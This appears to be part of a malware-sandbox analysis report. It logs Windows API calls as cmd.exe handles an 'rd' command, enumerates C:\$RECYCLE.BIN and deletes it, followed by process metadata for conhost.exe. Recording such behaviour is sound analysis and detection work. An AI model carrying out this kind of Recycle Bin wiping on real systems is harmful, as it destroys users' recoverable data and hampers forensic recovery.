	[0234.909] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x16) returned 0x252396a14d0
	[0234.911] GetProcessHeap () returned 0x252396a0000
	[0234.911] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x40) returned 0x252396a14f0
	[0234.912] GetConsoleTitleW (in: lpConsoleTitle=0xe3e36ff980, nSize=0x104 | out: lpConsoleTitle="cmd.exe") returned 0x8
	[0234.916] malloc (_Size=0xffce) returned 0x25239880060
	[0234.917] ??_V@YAXPEAX@Z () returned 0x25239880060
	[0234.918] malloc (_Size=0xffce) returned 0x25239890040
	[0234.918] ??_V@YAXPEAX@Z () returned 0x25239890040
	[0234.919] _wcsicmp (_String1="rd", _String2="DIR") returned 14
	[0234.919] _wcsicmp (_String1="rd", _String2="ERASE") returned 13
	[0234.919] _wcsicmp (_String1="rd", _String2="DEL") returned 14
	[0234.919] _wcsicmp (_String1="rd", _String2="TYPE") returned -2
	[0234.920] _wcsicmp (_String1="rd", _String2="COPY") returned 15
	[0234.920] _wcsicmp (_String1="rd", _String2="CD") returned 15
	[0234.920] _wcsicmp (_String1="rd", _String2="CHDIR") returned 15
	[0234.920] _wcsicmp (_String1="rd", _String2="RENAME") returned -1
	[0234.920] _wcsicmp (_String1="rd", _String2="REN") returned -1
	[0234.920] _wcsicmp (_String1="rd", _String2="ECHO") returned 13
	[0234.920] _wcsicmp (_String1="rd", _String2="SET") returned -1
	[0234.920] _wcsicmp (_String1="rd", _String2="PAUSE") returned 2
	[0234.920] _wcsicmp (_String1="rd", _String2="DATE") returned 14
	[0234.920] _wcsicmp (_String1="rd", _String2="TIME") returned -2
	[0234.920] _wcsicmp (_String1="rd", _String2="PROMPT") returned 2
	[0234.920] _wcsicmp (_String1="rd", _String2="MD") returned 5
	[0234.920] _wcsicmp (_String1="rd", _String2="MKDIR") returned 5
	[0234.920] _wcsicmp (_String1="rd", _String2="RD") returned 0
	[0234.920] ??_V@YAXPEAX@Z () returned 0x1
	[0234.920] GetProcessHeap () returned 0x252396a0000
	[0234.920] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x70) returned 0x252396a1540
	[0234.925] GetProcessHeap () returned 0x252396a0000
	[0234.925] RtlReAllocateHeap (Heap=0x252396a0000, Flags=0x0, Ptr=0x252396a1540, Size=0x44) returned 0x252396a1540
	[0234.925] GetProcessHeap () returned 0x252396a0000
	[0234.925] RtlSizeHeap (HeapHandle=0x252396a0000, Flags=0x0, MemoryPointer=0x252396a1540) returned 0x44
	[0234.925] GetProcessHeap () returned 0x252396a0000
	[0234.925] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x46) returned 0x252396a15a0
	[0234.925] malloc (_Size=0xffd2) returned 0x25239890040
	[0234.925] ??_V@YAXPEAX@Z () returned 0x25239890040
	[0234.926] GetProcessHeap () returned 0x252396a0000
	[0234.926] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x70) returned 0x252396a15f0
	[0234.931] GetProcessHeap () returned 0x252396a0000
	[0234.931] RtlReAllocateHeap (Heap=0x252396a0000, Flags=0x0, Ptr=0x252396a15f0, Size=0x44) returned 0x252396a15f0
	[0234.931] GetProcessHeap () returned 0x252396a0000
	[0234.931] RtlSizeHeap (HeapHandle=0x252396a0000, Flags=0x0, MemoryPointer=0x252396a15f0) returned 0x44
	[0234.931] GetProcessHeap () returned 0x252396a0000
	[0234.931] RtlAllocateHeap (HeapHandle=0x252396a0000, Flags=0x8, Size=0x32) returned 0x252396a1650
	[0234.931] GetCurrentDirectoryW (in: nBufferLength=0x7fe9, lpBuffer=0x25239890040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0234.932] malloc (_Size=0xffce) returned 0x252398a0020
	[0234.932] ??_V@YAXPEAX@Z () returned 0x252398a0020
	[0234.933] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN", lpFindFileData=0xe3e36ff160 | out: lpFindFileData=0xe3e36ff160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="$RECYCLE.BIN", cAlternateFileName="")) returned 0x252396a1690
	[0234.933] FindClose (in: hFindFile=0x252396a1690 | out: hFindFile=0x252396a1690) returned 1
	[0234.933] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\*", lpFindFileData=0xe3e36ff160 | out: lpFindFileData=0xe3e36ff160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName=".", cAlternateFileName="")) returned 0x252396a1690
	[0234.934] FindNextFileW (in: hFindFile=0x252396a1690, lpFindFileData=0xe3e36ff160 | out: lpFindFileData=0xe3e36ff160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="..", cAlternateFileName="")) returned 1
	[0234.934] FindNextFileW (in: hFindFile=0x252396a1690, lpFindFileData=0xe3e36ff160 | out: lpFindFileData=0xe3e36ff160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0234.934] malloc (_Size=0xffce) returned 0x252398b0000
	[0234.935] ??_V@YAXPEAX@Z () returned 0x252398b0000
	[0234.936] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-~1", lpFindFileData=0xe3e36fec80 | out: lpFindFileData=0xe3e36fec80*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0x252396a16f0
	[0234.936] FindClose (in: hFindFile=0x252396a16f0 | out: hFindFile=0x252396a16f0) returned 1
	[0234.936] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-~1\\*", lpFindFileData=0xe3e36fec80 | out: lpFindFileData=0xe3e36fec80*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x252396a16f0
	[0234.937] FindNextFileW (in: hFindFile=0x252396a16f0, lpFindFileData=0xe3e36fec80 | out: lpFindFileData=0xe3e36fec80*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0234.937] FindNextFileW (in: hFindFile=0x252396a16f0, lpFindFileData=0xe3e36fec80 | out: lpFindFileData=0xe3e36fec80*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0234.937] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0
	[0234.937] NtOpenFile (in: FileHandle=0xe3e36fea30, DesiredAccess=0x10000, ObjectAttributes=0xe3e36fe9d0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\$RECYCLE.BIN\\S-1-5-~1\\desktop.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xe3e36fe9a0, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0xe3e36fea30*=0x90, IoStatusBlock=0xe3e36fe9a0*(Status=0x0, Pointer=0x7ff600000000, Information=0x1)) returned 0x0
	[0234.938] RtlReleaseRelativeName () returned 0x0
	[0234.938] RtlFreeAnsiString (AnsiString="\\") 
	[0234.938] NtQueryVolumeInformationFile (in: FileHandle=0x90, IoStatusBlock=0xe3e36fe8a8, FsInformation=0xe3e36fe8a0, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0xe3e36fe8a8, FsInformation=0xe3e36fe8a0) returned 0x0
	[0234.938] CloseHandle (hObject=0x90) returned 1
	[0234.958] FindNextFileW (in: hFindFile=0x252396a16f0, lpFindFileData=0xe3e36fec80 | out: lpFindFileData=0xe3e36fec80*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0234.959] FindClose (in: hFindFile=0x252396a16f0 | out: hFindFile=0x252396a16f0) returned 1
	[0234.959] GetFullPathNameW (in: lpFileName="C:\\\\$RECYCLE.BIN\\S-1-5-~1", nBufferLength=0x4, lpBuffer=0xe3e36fe9f8, lpFilePart=0xe3e36fe9f0 | out: lpBuffer="", lpFilePart=0xe3e36fe9f0*=0x0) returned 0x1a
	[0234.959] RemoveDirectoryW (lpPathName="C:\\\\$RECYCLE.BIN\\S-1-5-~1" (normalized: "c:\\$recycle.bin\\s-1-5-~1")) returned 1
	[0234.960] ??_V@YAXPEAX@Z () returned 0x1
	[0234.960] FindNextFileW (in: hFindFile=0x252396a1690, lpFindFileData=0xe3e36ff160 | out: lpFindFileData=0xe3e36ff160*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x76922118, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x76922118, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x76922118, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0234.960] FindClose (in: hFindFile=0x252396a1690 | out: hFindFile=0x252396a1690) returned 1
	[0234.960] GetFullPathNameW (in: lpFileName="C:\\\\$RECYCLE.BIN", nBufferLength=0x4, lpBuffer=0xe3e36feed8, lpFilePart=0xe3e36feed0 | out: lpBuffer="", lpFilePart=0xe3e36feed0*=0x0) returned 0x11
	[0234.960] RemoveDirectoryW (lpPathName="C:\\\\$RECYCLE.BIN" (normalized: "c:\\$recycle.bin")) returned 1
	[0234.960] ??_V@YAXPEAX@Z () returned 0x1
	[0234.962] GetProcessHeap () returned 0x252396a0000
	[0234.962] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396a1650) returned 1
	[0234.962] GetProcessHeap () returned 0x252396a0000
	[0234.962] RtlFreeHeap (HeapHandle=0x252396a0000, Flags=0x0, BaseAddress=0x252396a15f0) returned 1
	[0234.962] ??_V@YAXPEAX@Z () returned 0x1
	[0234.963] ??_V@YAXPEAX@Z () returned 0x1
	[0234.963] _get_osfhandle (_FileHandle=1) returned 0x150
	[0234.963] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0234.963] _get_osfhandle (_FileHandle=1) returned 0x150
	[0234.963] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff68e91fc08 | out: lpMode=0x7ff68e91fc08) returned 0
	[0234.963] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0234.963] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff68e91fc0c | out: lpMode=0x7ff68e91fc0c) returned 0
	[0234.963] GetConsoleOutputCP () returned 0x1b5
	[0234.989] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0234.989] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0235.001] exit (_Code=0) 

Thread:
	id = 95
	os_tid = 0x454


Process:
	id = "20"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x50833000"
	os_pid = "0xc3c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "19"
	os_parent_pid = "0x254"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 90
	os_tid = 0x46c


Thread:
	id = 91
	os_tid = 0xc4c


Thread:
	id = 92
	os_tid = 0x364


Thread:
	id = 93
	os_tid = 0x388


Thread:
	id = 94
	os_tid = 0x438